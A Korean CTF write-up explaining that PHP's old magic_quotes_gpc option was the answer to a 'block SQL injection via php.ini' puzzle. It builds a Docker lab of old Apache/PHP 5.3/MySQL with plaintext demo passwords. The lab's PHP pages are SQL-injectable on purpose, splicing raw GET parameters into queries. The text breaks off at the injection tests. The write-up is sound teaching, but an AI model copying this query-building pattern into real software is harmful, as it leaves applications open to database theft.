[πŸ₯ˆ Silver 4] php.ini ν•œ μ€„λ‘œ SQL Injection 이 λ§‰νžˆλ˜ μ‹œμ ˆ β€” DreamHack [CodeEngn] Malware L04 풀이

2026-08-19Β·1λΆ„ 읽기·

[πŸ₯ˆ Silver 4] php.ini ν•œ μ€„λ‘œ SQL Injection 이 λ§‰νžˆλ˜ μ‹œμ ˆ β€” DreamHack [CodeEngn] Malware L04 풀이

배포 파일이 μ•„μ˜ˆ μ—†κ³  두 μ€„μ§œλ¦¬ 질문만 μžˆλ‹€. "APM μ‚¬μ΄νŠΈκ°€ SQL Injection 곡격을 λ°›λŠ” 쀑인데 PHP μ„€μ •νŒŒμΌμ—μ„œ μ–΄λ–€ μ˜΅μ…˜μ„ μΌœμ•Ό μ•ˆμ „ν•œκ°€." 닡은 μ•Œκ² λŠ”λ° κ·Όκ±°κ°€ μ–‡μ•„μ„œ, κ·Έ μ˜΅μ…˜μ΄ μ‹€μ œλ‘œ λ™μž‘ν•˜λŠ” λ§ˆμ§€λ§‰ μ„ΈλŒ€μΈ Debian 6 (Apache 2.2 / PHP 5.3.3 / MySQL 5.1) 을 λ„μ»€λ‘œ μ„Έμ›Œ Off/On 을 λŒ€μ‘°ν–ˆλ‹€. 두 μ’…λ₯˜μ˜ μΈμ μ…˜μ΄ μ‹€μ œλ‘œ λ§‰νžˆκ³ , κ·ΈλŸΌμ—λ„ 숫자 νŒŒλΌλ―Έν„°μ™€ GBK μš°νšŒλŠ” κ·ΈλŒ€λ‘œ ν†΅κ³Όν•œλ‹€.

문제: DreamHack β€” [CodeEngn] Malware L04 λΆ„λ₯˜: Misc (μ•…μ„±μ½”λ“œ 뢄석) λ‚œμ΄λ„: πŸ₯ˆ Silver 4 FLAG: magic_quotes_gpc

이 μ‹œλ¦¬μ¦ˆλŠ” 보톡 μ•…μ„±μ½”λ“œ μ†ŒμŠ€ 쑰각을 던져 μ£Όκ³  "무엇을 ν•˜λŠ” ν•¨μˆ˜μΈκ°€"λ₯Ό λ¬»λŠ”λ‹€. L03은 10μ€„μ§œλ¦¬ 체크섬 λ£¨ν‹΄μ΄μ—ˆκ³  L05λŠ” 31μ€„μ§œλ¦¬ base64 μΈμ½”λ”μ˜€λ‹€.

L04 λŠ” λ‹€λ₯΄λ‹€. μ½”λ“œκ°€ ν•œ 쀄도 μ—†λ‹€.

# show_desc.sh
#!/bin/sh
# λ“œλ¦Όν•΅ API μ—μ„œ 이 문제의 제λͺ©Β·λΆ„λ₯˜Β·μ„€λͺ…λ§Œ 뽑아 λ³Έλ‹€
python3 ~/Dev/Hacking_Project/_도ꡬ/dreamhack_auto/fetch_desc.py 371 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("제λͺ©    :", d["title"].strip())
print("λΆ„λ₯˜    :", ", ".join(d["tags"]))
print("λ‚œμ΄λ„  :", d["tier_display"])
print("ν‘Ό μ‚¬λžŒ :", d["cnt_solvers"], "λͺ…")
print()
print("[문제 μ„€λͺ…]")
print(d["description"].strip())
print()
print("[힌트]", d["hints"] or "μ—†μŒ")
'
./show_desc.sh

λ“œλ¦Όν•΅ API 둜 받은 CodeEngn Malware L04 메타 β€” λΆ„λ₯˜ misc, λ‚œμ΄λ„ Silver 4, 113λͺ… ν•΄κ²°, μ„€λͺ…은 APM ν™˜κ²½ μ‚¬μ΄νŠΈκ°€ SQL Injection μ•…μ„±μ½”λ“œ 곡격을 λ°›λŠ” μ€‘μ΄λ‹ˆ PHP μ„€μ •νŒŒμΌμ—μ„œ μ–΄λ–€ μ˜΅μ…˜μ„ μ„€μ •ν•΄μ•Ό μ•ˆμ „ν•œμ§€ λ¬»λŠ” 두 쀄이고 νžŒνŠΈλŠ” μ—†λ‹€
λ“œλ¦Όν•΅ API 둜 받은 CodeEngn Malware L04 메타 β€” λΆ„λ₯˜ misc, λ‚œμ΄λ„ Silver 4, 113λͺ… ν•΄κ²°, μ„€λͺ…은 APM ν™˜κ²½ μ‚¬μ΄νŠΈκ°€ SQL Injection μ•…μ„±μ½”λ“œ 곡격을 λ°›λŠ” μ€‘μ΄λ‹ˆ PHP μ„€μ •νŒŒμΌμ—μ„œ μ–΄λ–€ μ˜΅μ…˜μ„ μ„€μ •ν•΄μ•Ό μ•ˆμ „ν•œμ§€ λ¬»λŠ” 두 쀄이고 νžŒνŠΈλŠ” μ—†λ‹€

μ§ˆλ¬Έμ€ 두 쀄이닀.

APM(Apache, PHP, MySQL) ν™˜κ²½μ˜ μ‚¬μ΄νŠΈλ₯Ό μš΄μ˜μ€‘μΈ L씨 ν˜„μž¬ SQL Injection μ•…μ„±μ½”λ“œμ˜ 곡격을 λ°›κ³  μžˆλ‹€ PHP μ„€μ •νŒŒμΌμ—μ„œ μ–΄λ–€ μ˜΅μ…˜μ„ μ„€μ •ν•΄μ•Ό μ•ˆμ „ν•œκ°€

ex) ν˜•μ‹ μ˜ˆμ‹œλ„ μ—†κ³  νžŒνŠΈλ„ μ—†λ‹€. 같은 μ‹œλ¦¬μ¦ˆμ˜ λ‹€λ₯Έ λ¬Έμ œλ“€μ²˜λŸΌ 닡은 μ†Œλ¬Έμž ν•œ 단어닀.


문제 κ°œμš”

ν•­λͺ©λ‚΄μš©
문제λͺ…[CodeEngn] Malware L04
λ‚œμ΄λ„πŸ₯ˆ Silver 4
λΆ„λ₯˜Misc (μ•…μ„±μ½”λ“œ 뢄석)
제곡 νŒŒμΌμ—†μŒ β€” 배포본이 λΉ„μ–΄ μžˆλ‹€
λ¬»λŠ” 것APM μŠ€νƒμ—μ„œ SQL Injection 을 λ§‰λŠ” php.ini μ˜΅μ…˜ ν•˜λ‚˜
핡심magic_quotes_gpc β€” GET/POST/COOKIE 전체에 addslashes() λ₯Ό μžλ™ 적용

풀이 흐름은 μ§§λ‹€. 후보λ₯Ό λ‹€μ„― 개둜 쒁히고, κ·Έ 쀑 SQL Injection κ³Ό 직접 κ΄€κ³„λœ 것은 ν•˜λ‚˜λΏμ΄λΌλŠ” κ±Έ ν™•μΈν•˜κ³ , μ‹€μ œλ‘œ κ·ΈλŸ°μ§€ 2010λ…„κ²½ APM μŠ€νƒμ„ λ„μ»€λ‘œ μ„Έμ›Œ λŒ€μ‘°ν•œλ‹€.



πŸ”¬ 배포본이 λΉ„μ–΄ μžˆλ‹€

λ¨Όμ € νŒŒμΌλΆ€ν„° λ°›μ•˜λ‹€. μ‹œλ¦¬μ¦ˆμ˜ λ‹€λ₯Έ λ¬Έμ œλ“€μ€ .txt μ†ŒμŠ€ 쑰각이 λ“€μ–΄ μžˆμ—ˆλ‹€.

# show_files.sh
#!/bin/sh
# 배포본에 무엇이 λ“€μ–΄ μžˆλŠ”μ§€ β€” 이 λ¬Έμ œλŠ” 파일이 μ—†λ‹€
unzip -l challenge_371.zip
echo
echo "-- extracted/ --"
ls -la extracted/
file extracted/*
./show_files.sh

unzip -l 둜 λ³Έ challenge_371.zip λ‚΄μš© β€” no-public-files λΌλŠ” 0λ°”μ΄νŠΈ 파일 ν•˜λ‚˜λΏμ΄κ³  file λͺ…령도 empty 라고 λ‹΅ν•œλ‹€. 뢄석할 μ½”λ“œκ°€ μ•„μ˜ˆ μ—†λŠ” μ„œμˆ ν˜• λ¬Έμ œλ‹€
unzip -l 둜 λ³Έ challenge_371.zip λ‚΄μš© β€” no-public-files λΌλŠ” 0λ°”μ΄νŠΈ 파일 ν•˜λ‚˜λΏμ΄κ³  file λͺ…령도 empty 라고 λ‹΅ν•œλ‹€. 뢄석할 μ½”λ“œκ°€ μ•„μ˜ˆ μ—†λŠ” μ„œμˆ ν˜• λ¬Έμ œλ‹€

no-public-files 0λ°”μ΄νŠΈ ν•˜λ‚˜. 뢄석할 μ½”λ“œκ°€ μ—†μœΌλ‹ˆ 이 λ¬Έμ œλŠ” 리버싱이 μ•„λ‹ˆλΌ 2000λ…„λŒ€ ν›„λ°˜ PHP 운영 상식을 λ¬»λŠ” λ¬Έμ œλ‹€.


🧩 λ°°κ²½ β€” μ™œ "μ„€μ •νŒŒμΌ"μ—μ„œ SQL Injection 을 λ§‰λ‚˜

μ§€κΈˆ κ°κ°μœΌλ‘œλŠ” μ΄μƒν•œ μ§ˆλ¬Έμ΄λ‹€. SQL Injection 은 쿼리λ₯Ό λ§Œλ“œλŠ” μ½”λ“œμ—μ„œ λ§‰λŠ” 것이지 μ„œλ²„ μ„€μ •μ—μ„œ 막을 일이 μ•„λ‹ˆλ‹€. ν”„λ¦¬νŽ˜μ–΄λ“œ μŠ€ν…Œμ΄νŠΈλ¨ΌνŠΈλ₯Ό μ“°λ©΄ 끝이닀.

그런데 2000λ…„λŒ€ PHP μ—λŠ” 그런 μ˜΅μ…˜μ΄ μ‹€μ œλ‘œ μžˆμ—ˆλ‹€. magic_quotes_gpc λ‹€.

이 μ˜΅μ…˜μ΄ 켜져 있으면 PHP λŠ” μš”μ²­μ΄ μŠ€ν¬λ¦½νŠΈμ— λ„λ‹¬ν•˜κΈ° 전에 $_GET Β· $_POST Β· $_COOKIE(GPC β€” Get/Post/Cookie) 전체λ₯Ό ν›‘μ–΄ μž‘μ€λ”°μ˜΄ν‘œ Β· ν°λ”°μ˜΄ν‘œ Β· λ°±μŠ¬λž˜μ‹œ Β· NUL μ•žμ— λ°±μŠ¬λž˜μ‹œλ₯Ό 뢙인닀. addslashes() λ₯Ό μžλ™μœΌλ‘œ λŒλ¦¬λŠ” μ…ˆμ΄λ‹€.

μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ½”λ“œλŠ” ν•œ κΈ€μžλ„ μ•ˆ 바뀐닀. λ°”λ€ŒλŠ” 건 php.ini ν•œ 쀄이닀. 곡유 ν˜ΈμŠ€νŒ…μ—μ„œ 남이 μ§  κ²Œμ‹œνŒ 수백 개λ₯Ό ν•œκΊΌλ²ˆμ— "μ•ˆμ „ν•˜κ²Œ" λ§Œλ“€ 수 μžˆλ‹€λŠ” 게 λ‹Ήμ‹œμ˜ λ…Όλ¦¬μ˜€λ‹€.

이 μ˜΅μ…˜μ€ λ‚˜μ€‘μ— ν†΅μ§Έλ‘œ νκΈ°λœλ‹€. PHP 5.3.0 μ—μ„œ deprecated 됐고, 5.4.0 μ—μ„œλŠ” μ•„μ˜ˆ μ—†μ–΄μ‘Œλ‹€. 제거된 μͺ½μ€ php-src μ €μž₯μ†Œμ˜ PHP-5.4 브랜치 UPGRADING νŒŒμΌμ— κ·ΈλŒ€λ‘œ μ ν˜€ μžˆλ‹€.

curl -s https://raw.githubusercontent.com/php/php-src/PHP-5.4/UPGRADING | grep -n -i -E "magic.quotes"

php-src PHP-5.4 UPGRADING 을 curl 둜 grep β€” 59~61ν–‰ 제거 INI λͺ©λ‘μ— magic_quotes_gpcΒ·runtimeΒ·sybase, 448ν–‰ Removed functionality 에 Magic quotes κ°€ μžˆλ‹€
php-src PHP-5.4 UPGRADING 을 curl 둜 grep β€” 59~61ν–‰ 제거 INI λͺ©λ‘μ— magic_quotes_gpcΒ·runtimeΒ·sybase, 448ν–‰ Removed functionality 에 Magic quotes κ°€ μžˆλ‹€

κ·ΈλŸ¬λ‹ˆκΉŒ 이 문제의 정닡은 μ§€κΈˆμ€ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” μ˜΅μ…˜μ΄λ‹€. λ¬Έμ œκ°€ λ§Œλ“€μ–΄μ§„ μ‹œμ μ„ μ•Œμ•„μ•Ό ν’€λ¦°λ‹€.


후보λ₯Ό μ’νžŒλ‹€

php.ini μ—μ„œ λ³΄μ•ˆ κ΄€λ ¨μœΌλ‘œ 자주 거둠되던 ν•­λͺ©μ€ λ‹€μ„― 개쯀 λœλ‹€. SQL Injection κ³Ό 직접 λ‹ΏλŠ” 건 ν•˜λ‚˜λΏμ΄λ‹€.

μ˜΅μ…˜λ¬΄μ—‡μ„ ν•˜λ‚˜SQL Injection 을 λ§‰λ‚˜
register_globalsμš”μ²­ λ³€μˆ˜λ₯Ό μ „μ—­ λ³€μˆ˜λ‘œ μžλ™ λ“±λ‘βœ— λ³€μˆ˜ μ˜€μ—Ό(인증 우회·파일 포함)용. 쿼리 λ¬Έμžμ—΄κ³Ό 무관
safe_modeUID κΈ°μ€€μœΌλ‘œ 파일 μ ‘κ·Ό μ œν•œβœ— 파일 μ‹œμŠ€ν…œ 격리
display_errorsμ—λŸ¬λ₯Ό 화면에 좜λ ₯β–³ μ—λŸ¬ 기반 μΈμ μ…˜μ˜ μ •λ³΄λŸ‰μ„ 쀄일 뿐, μΈμ μ…˜ μžμ²΄λŠ” κ·ΈλŒ€λ‘œ
allow_url_includehttp:// 경둜λ₯Ό include ν—ˆμš©βœ— RFI(원격 파일 포함)용
magic_quotes_gpcGPC μž…λ ₯에 addslashes() μžλ™ μ μš©β—‹ λ”°μ˜΄ν‘œλ₯Ό λ¦¬ν„°λŸ΄λ‘œ λ§Œλ“ λ‹€

닡은 magic_quotes_gpc λ‹€. μ—¬κΈ°κΉŒμ§€λŠ” ν‘œλ§Œ 봐도 λ‚˜μ˜¨λ‹€.

λ¬Έμ œλŠ” κ·Έ λ‹€μŒμ΄λ‹€. 이런 μ’…λ₯˜μ˜ 닡은 "λ‹€λ“€ κ·Έλ ‡κ²Œ λ§ν•˜λ‹ˆκΉŒ"둜 λλ‚˜κΈ° 쉽닀. μ‹€μ œλ‘œ λ§‰νžˆλŠ”μ§€, μ–΄λ””κΉŒμ§€ λ§‰νžˆλŠ”μ§€ λ³Έ 적이 μ—†μœΌλ©΄ 절반만 μ•„λŠ” 것이닀.



πŸ§ͺ λž©μ„ μ„Έμš΄λ‹€ β€” μ™œ ν•˜ν•„ Debian 6 인가

λ¨Όμ € μ§€κΈˆ PC 의 PHP 둜 μž¬ν˜„μ„ μ‹œλ„ν–ˆλ‹€. μ•ˆ λœλ‹€.

# modern_php.sh
#!/bin/sh
# μ§€κΈˆ PHP μ—λŠ” magic_quotes κ°€ 남아 μžˆμ§€ μ•Šλ‹€λŠ” 것을 ν™•μΈν•œλ‹€
php -v | head -1
echo
echo "-- ini_get('magic_quotes_gpc') --"
php -r 'var_dump(ini_get("magic_quotes_gpc"));'
echo
echo "-- php.ini 에 ν•­λͺ©μ΄ μžˆλŠ”κ°€ --"
php -i | grep -ci magic_quotes
echo "  (0 = ν•­λͺ© μžμ²΄κ°€ μ—†μŒ)"
echo
echo "-- get_magic_quotes_gpc() 호좜 --"
php -r 'get_magic_quotes_gpc();' 2>&1 | head -3
./modern_php.sh

PHP 8.4.11 μ—μ„œ modern_php.sh μ‹€ν–‰ κ²°κ³Ό β€” ini_get 이 bool(false) λ₯Ό 돌렀주고 php -i 의 magic_quotes λ§€μΉ˜κ°€ 0건이며 get_magic_quotes_gpc ν˜ΈμΆœμ€ Call to undefined function 으둜 μ£½λŠ”λ‹€
PHP 8.4.11 μ—μ„œ modern_php.sh μ‹€ν–‰ κ²°κ³Ό β€” ini_get 이 bool(false) λ₯Ό 돌렀주고 php -i 의 magic_quotes λ§€μΉ˜κ°€ 0건이며 get_magic_quotes_gpc ν˜ΈμΆœμ€ Call to undefined function 으둜 μ£½λŠ”λ‹€

ini_get() 은 false, php -i 에 ν•­λͺ© μžμ²΄κ°€ 0건, ν•¨μˆ˜λŠ” μ•„μ˜ˆ μ—†λ‹€. magic_quotes_gpc = On 을 써 넣어도 PHP 8 은 그런 μ§€μ‹œμžλ₯Ό λͺ¨λ₯΄λ‹ˆ λ¬΄μ‹œν•œλ‹€.

κ·Έλž˜μ„œ κ·Έ μ˜΅μ…˜μ΄ μ‹€μ œλ‘œ λ™μž‘ν•˜λŠ” λ§ˆμ§€λ§‰ μ„ΈλŒ€λ‘œ λ‚΄λ €κ°”λ‹€. Debian 6 (squeeze) λ‹€. Apache 2.2.16 / PHP 5.3.3 / MySQL 5.1 β€” λ¬Έμ œκ°€ μƒμ •ν•˜λŠ” APM μŠ€νƒ κ·Έ μžμ²΄λ‹€.

# lab/Dockerfile
# APM(Apache + PHP + MySQL) μž¬ν˜„ 랩 β€” CodeEngn Malware L04
# magic_quotes_gpc λŠ” PHP 5.3 μ—μ„œ deprecated, 5.4 μ—μ„œ μ œκ±°λλ‹€.
# κ·Έλž˜μ„œ κ·Έ μ˜΅μ…˜μ΄ "μ‹€μ œλ‘œ λ™μž‘ν•˜λŠ”" λ§ˆμ§€λ§‰ μ„ΈλŒ€μΈ Debian 6 (squeeze) λ₯Ό μ“΄λ‹€.
#   Apache 2.2.16 / PHP 5.3.3 / MySQL 5.1.73
FROM debian/eol:squeeze
 
# μ„œλΉ„μŠ€κ°€ λΉŒλ“œ 쀑에 λœ¨μ§€ μ•Šλ„λ‘ (λ„μ»€μ—λŠ” init 이 μ—†λ‹€)
RUN printf '#!/bin/sh\nexit 101\n' > /usr/sbin/policy-rc.d && chmod +x /usr/sbin/policy-rc.d
 
RUN apt-get -o Acquire::Check-Valid-Until=false update \
 && DEBIAN_FRONTEND=noninteractive apt-get install -y --force-yes \
      apache2 libapache2-mod-php5 php5-cli php5-mysql mysql-server \
 && rm -rf /var/lib/apt/lists/*
 
COPY www/ /var/www/
COPY init.sql /root/init.sql
COPY start.sh /root/start.sh
RUN chmod +x /root/start.sh
 
EXPOSE 80
CMD ["/root/start.sh"]

Acquire::Check-Valid-Until=false κ°€ ν•„μš”ν•œ μ΄μœ λŠ” squeeze μ €μž₯μ†Œμ˜ Release 파일이 이미 μ˜€λž˜μ „μ— 만료됐기 λ•Œλ¬Έμ΄λ‹€. policy-rc.d λŠ” λΉŒλ“œ 쀑에 mysql-server 의 postinst κ°€ 데λͺ¬μ„ λ„μš°λ €λ‹€ μ‹€νŒ¨ν•˜λŠ” κ±Έ λ§‰λŠ”λ‹€.

μ»¨ν…Œμ΄λ„ˆκ°€ 뜰 λ•Œ MySQL 데이터 디렉토리λ₯Ό λ§Œλ“€κ³  μŠ€ν‚€λ§ˆλ₯Ό 넣은 λ’€ μ•„νŒŒμΉ˜λ₯Ό ν¬κ·ΈλΌμš΄λ“œλ‘œ μž‘λŠ”λ‹€.

# lab/start.sh
#!/bin/sh
set -e
[ -d /var/lib/mysql/mysql ] || mysql_install_db --user=mysql >/dev/null 2>&1
/usr/bin/mysqld_safe >/var/log/mysqld_safe.log 2>&1 &
for i in $(seq 1 60); do mysqladmin ping >/dev/null 2>&1 && break; sleep 1; done
mysql < /root/init.sql
. /etc/apache2/envvars
exec /usr/sbin/apache2 -D FOREGROUND

μŠ€ν‚€λ§ˆλŠ” κ·Έ μ‹œμ ˆ νšŒμ› ν…Œμ΄λΈ” κ·ΈλŒ€λ‘œλ‹€. 평문 λΉ„λ°€λ²ˆν˜ΈκΉŒμ§€ ν¬ν•¨ν•΄μ„œ.

-- lab/init.sql
CREATE DATABASE IF NOT EXISTS shop DEFAULT CHARACTER SET utf8;
USE shop;
DROP TABLE IF EXISTS members;
CREATE TABLE members (
  idx      INT AUTO_INCREMENT PRIMARY KEY,
  userid   VARCHAR(32)  NOT NULL,
  userpass VARCHAR(64)  NOT NULL,
  email    VARCHAR(64)  NOT NULL,
  is_admin TINYINT(1)   NOT NULL DEFAULT 0
) ENGINE=InnoDB;
INSERT INTO members (userid, userpass, email, is_admin) VALUES
  ('admin',  'S3cr3t-4dm1n-p4ss', 'admin@l-shop.example', 1),
  ('guest',  'guest',             'guest@l-shop.example', 0),
  ('dizo',   'hunter2',           'dizo@l-shop.example',  0);
# lab/up.sh
#!/usr/bin/env bash
# APM λž©μ„ λ„μš°κ³  쀀비될 λ•ŒκΉŒμ§€ κΈ°λ‹€λ¦° λ’€ PHP/μ•„νŒŒμΉ˜ 버전을 ν™•μΈν•œλ‹€.
set -eu
docker rm -f l04-apm >/dev/null 2>&1 || true
docker run -d --name l04-apm -p 127.0.0.1:8080:80 l04-apm
for i in $(seq 1 90); do curl -sf -m 3 http://127.0.0.1:8080/env.php >/dev/null 2>&1 && break; sleep 1; done
docker exec l04-apm apache2 -v | head -1
curl -s http://127.0.0.1:8080/env.php | head -2
./lab/up.sh

lab/up.sh μ‹€ν–‰ β€” docker run 이 μ»¨ν…Œμ΄λ„ˆ ID λ₯Ό 찍고 Apache/2.2.16 (Debian) κ³Ό PHP 5.3.3-7+squeeze29 / apache2handler κ°€ ν™•μΈλœλ‹€. php.ini κ²½λ‘œλŠ” /etc/php5/apache2/php.ini
lab/up.sh μ‹€ν–‰ β€” docker run 이 μ»¨ν…Œμ΄λ„ˆ ID λ₯Ό 찍고 Apache/2.2.16 (Debian) κ³Ό PHP 5.3.3-7+squeeze29 / apache2handler κ°€ ν™•μΈλœλ‹€. php.ini κ²½λ‘œλŠ” /etc/php5/apache2/php.ini

Apache 2.2.16, PHP 5.3.3. λ¬Έμ œκ°€ λ§ν•˜λŠ” APM 이닀.

php.ini 의 κ΄€λ ¨ ν•­λͺ©λ“€μ΄ μ‹€μ œλ‘œ μ–΄λ–€ 값인지 μ»¨ν…Œμ΄λ„ˆ μ•ˆμ—μ„œ 직접 λ³Έλ‹€.

docker exec l04-apm grep -n "^magic_quotes\|^register_globals\|^safe_mode =\|^display_errors\|^allow_url_include" /etc/php5/apache2/php.ini

μ»¨ν…Œμ΄λ„ˆ μ•ˆ php.ini λ₯Ό grep ν•œ κ²°κ³Ό β€” 747ν–‰ magic_quotes_gpc = Off, 694ν–‰ register_globals = Off, 338ν–‰ safe_mode = Off 둜 후보 ν•­λͺ©μ΄ μ „λΆ€ μ‹€μž¬ν•œλ‹€
μ»¨ν…Œμ΄λ„ˆ μ•ˆ php.ini λ₯Ό grep ν•œ κ²°κ³Ό β€” 747ν–‰ magic_quotes_gpc = Off, 694ν–‰ register_globals = Off, 338ν–‰ safe_mode = Off 둜 후보 ν•­λͺ©μ΄ μ „λΆ€ μ‹€μž¬ν•œλ‹€

747행에 magic_quotes_gpc = Off. μš°λ¦¬κ°€ 만질 쀄은 이 ν•œ 쀄이닀.



πŸ’£ μ·¨μ•½ν•œ νŽ˜μ΄μ§€ β€” 2008년식 PHP μ½”λ“œ

λž©μ— 올린 νŽ˜μ΄μ§€λŠ” λ„€ κ°œλ‹€. μ „λΆ€ κ·Έ μ‹œμ ˆ κ²Œμ‹œνŒ μ½”λ“œμ—μ„œ ν”νžˆ 보던 λͺ¨μ–‘μœΌλ‘œ 썼닀. μž…λ ₯을 λ”°μ˜΄ν‘œ μ•ˆμ— κ·ΈλŒ€λ‘œ 이어 뢙이고, μ΄μŠ€μΌ€μ΄ν”„λ„ ν”„λ¦¬νŽ˜μ–΄λ“œ μŠ€ν…Œμ΄νŠΈλ¨ΌνŠΈλ„ μ—†λ‹€.

<?php
// lab/www/login.php
// L μ”¨μ˜ μ‡Όν•‘λͺ° β€” 2008λ…„κ²½ APM μ‚¬μ΄νŠΈμ—μ„œ ν”ν•˜λ˜ 둜그인 처리.
// μž…λ ₯을 κ·ΈλŒ€λ‘œ λ”°μ˜΄ν‘œ μ•ˆμ— 이어 뢙인닀. μ΄μŠ€μΌ€μ΄ν”„λ„, ν”„λ¦¬νŽ˜μ–΄λ“œ μŠ€ν…Œμ΄νŠΈλ¨ΌνŠΈλ„ μ—†λ‹€.
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("shop", $conn);
 
$userid   = $_GET['userid'];
$userpass = $_GET['userpass'];
 
$sql = "SELECT idx, userid, email, is_admin FROM members "
     . "WHERE userid='$userid' AND userpass='$userpass'";
 
echo "magic_quotes_gpc = " . (get_magic_quotes_gpc() ? "On" : "Off") . "\n";
echo "SQL: $sql\n";
 
$res = mysql_query($sql, $conn);
if (!$res) { echo "MySQL error: " . mysql_error($conn) . "\n"; exit; }
 
$row = mysql_fetch_assoc($res);
if ($row) {
    echo "LOGIN OK  -> idx={$row['idx']} userid={$row['userid']} "
       . "email={$row['email']} is_admin={$row['is_admin']}\n";
} else {
    echo "LOGIN FAILED\n";
}
?>

νŽ˜μ΄μ§€κ°€ μ™„μ„±λœ 쿼리λ₯Ό κ·ΈλŒ€λ‘œ 좜λ ₯ν•˜κ²Œ ν•΄ λ’€λ‹€. μ˜΅μ…˜μ„ 켰을 λ•Œ λ¬Έμžμ—΄μ΄ μ–΄λ–»κ²Œ λ‹¬λΌμ§€λŠ”μ§€κ°€ 이 문제의 μ „λΆ€λΌμ„œ, κ·Έκ±Έ ν™”λ©΄μ—μ„œ λ°”λ‘œ λ³΄λŠ” 게 λ‚«λ‹€.

검색 νŽ˜μ΄μ§€λŠ” κ²°κ³Όλ₯Ό κ·ΈλŒ€λ‘œ λΏŒλ¦¬λ―€λ‘œ UNION SELECT 둜 λ‹€λ₯Έ μ»¬λŸΌμ„ λŒμ–΄μ˜¬ 수 μžˆλ‹€.

<?php
// lab/www/search.php
// μƒν’ˆ 검색 β€” κ²°κ³Όκ°€ 화면에 κ·ΈλŒ€λ‘œ λ‚˜μ˜€λ―€λ‘œ UNION SELECT 둜 λ‹€λ₯Έ ν…Œμ΄λΈ”μ„ λŒμ–΄μ˜¬ 수 μžˆλ‹€.
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("shop", $conn);
 
$q = $_GET['q'];
$sql = "SELECT userid, email FROM members WHERE userid LIKE '%$q%'";
 
echo "magic_quotes_gpc = " . (get_magic_quotes_gpc() ? "On" : "Off") . "\n";
echo "SQL: $sql\n";
 
$res = mysql_query($sql, $conn);
if (!$res) { echo "MySQL error: " . mysql_error($conn) . "\n"; exit; }
while ($row = mysql_fetch_assoc($res)) {
    echo "  {$row['userid']} | {$row['email']}\n";
}
?>

μ„Έ λ²ˆμ§ΈλŠ” λ‚˜μ€‘μ— μ“Έ λ°˜λ‘€λ‹€. νŒŒλΌλ―Έν„°κ°€ 숫자라 λ”°μ˜΄ν‘œλ‘œ 감싸지 μ•Šμ•˜λ‹€.

<?php
// lab/www/idlookup.php
// 숫자 νŒŒλΌλ―Έν„° β€” λ”°μ˜΄ν‘œλ‘œ 감싸지 μ•Šμ•˜λ‹€. magic_quotes_gpc κ°€ On 이어도 μ—¬κΈ°λŠ” λͺ» λ§‰λŠ”λ‹€.
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("shop", $conn);
 
$idx = $_GET['idx'];
$sql = "SELECT userid, email, is_admin FROM members WHERE idx=$idx";
 
echo "magic_quotes_gpc = " . (get_magic_quotes_gpc() ? "On" : "Off") . "\n";
echo "SQL: $sql\n";
 
$res = mysql_query($sql, $conn);
if (!$res) { echo "MySQL error: " . mysql_error($conn) . "\n"; exit; }
while ($row = mysql_fetch_assoc($res)) {
    echo "  {$row['userid']} | {$row['email']} | admin={$row['is_admin']}\n";
}
?>

λ§ˆμ§€λ§‰μ€ μ„€μ • μƒνƒœλ₯Ό ν™•μΈν•˜λŠ” νŽ˜μ΄μ§€λ‹€.

<?php
// lab/www/env.php
// php.ini μ—μ„œ μ‹€μ œλ‘œ 무엇이 켜져 μžˆλŠ”μ§€ ν™•μΈν•˜λŠ” νŽ˜μ΄μ§€.
// ini_get() 은 κΊΌμ§„ λΆˆλ¦¬μ–Έμ„ 빈 λ¬Έμžμ—΄λ‘œ λŒλ €μ£Όλ―€λ‘œ On/Off 둜 ν’€μ–΄μ„œ 같이 μ°λŠ”λ‹€.
$keys = array('magic_quotes_gpc', 'magic_quotes_runtime', 'register_globals',
              'safe_mode', 'display_errors', 'allow_url_include');
echo "PHP " . phpversion() . " / " . php_sapi_name() . "\n";
echo "php.ini = " . php_ini_loaded_file() . "\n\n";
foreach ($keys as $k) {
    $v = ini_get($k);
    printf("%-22s = %-3s  (ini_get 원값: %s)\n", $k, ($v ? "On" : "Off"), var_export($v, true));
}
echo "\nget_magic_quotes_gpc() = " . var_export(get_magic_quotes_gpc(), true) . "\n";
if (isset($_GET['x'])) {
    echo "\n\$_GET['x'] = " . $_GET['x'] . "\n";
    echo "hex        = " . bin2hex($_GET['x']) . "\n";
}
?>
β–ΆπŸ› μ‚½μ§ˆ 1 β€” ini_get 이 Off λ₯Ό 빈 λ¬Έμžμ—΄λ‘œ λŒλ €μ€€λ‹€

처음 env.php λŠ” var_export(ini_get($k), true) 만 μ°μ—ˆλ‹€. κ·Έλž¬λ”λ‹ˆ μ—¬μ„― ν•­λͺ©μ΄ μ „λΆ€ '' 둜 λ‚˜μ™”λ‹€.

magic_quotes_gpc       = ''
register_globals       = ''
safe_mode              = ''

"μ„€μ • νŒŒμΌμ„ λͺ» μ½μ—ˆλ‚˜" μ‹Άμ–΄ php_ini_loaded_file() 을 λ‹€μ‹œ λ΄€λŠ”λ° κ²½λ‘œλŠ” λ©€μ©‘ν–ˆλ‹€. ini_get() 은 κΊΌμ§„ λΆˆλ¦¬μ–Έ μ§€μ‹œμžλ₯Ό 빈 λ¬Έμžμ—΄λ‘œ λŒλ €μ£ΌλŠ” 게 정상 λ™μž‘μ΄λ‹€. 켜면 '1' 이 λœλ‹€.

빈 λ¬Έμžμ—΄κ³Ό "ν•­λͺ©μ΄ μ—†μŒ"이 ν™”λ©΄μ—μ„œ λ˜‘κ°™μ΄ λ³΄μ΄λ‹ˆ νŒλ‹¨μ΄ μ•ˆ μ„ λ‹€. κ·Έλž˜μ„œ On/Off 둜 ν’€μ–΄ μ“°κ³  원값을 κ΄„ν˜Έλ‘œ 같이 찍게 κ³ μ³€λ‹€. λ’€μ—μ„œ PHP 8 κ³Ό λŒ€μ‘°ν•  λ•Œ 이 ꡬ뢄이 ν•„μš”ν•΄μ§„λ‹€ β€” PHP 8 은 false λ₯Ό 돌렀주고 5.3 은 '' λ₯Ό λŒλ €μ€€λ‹€. λ‘˜ λ‹€ "κ±°μ§“"μ΄μ§€λ§Œ 뜻이 λ‹€λ₯΄λ‹€.


🎯 Off β€” μΈμ μ…˜ μ„Έ κ°œκ°€ λ‹€ ν†΅ν•œλ‹€

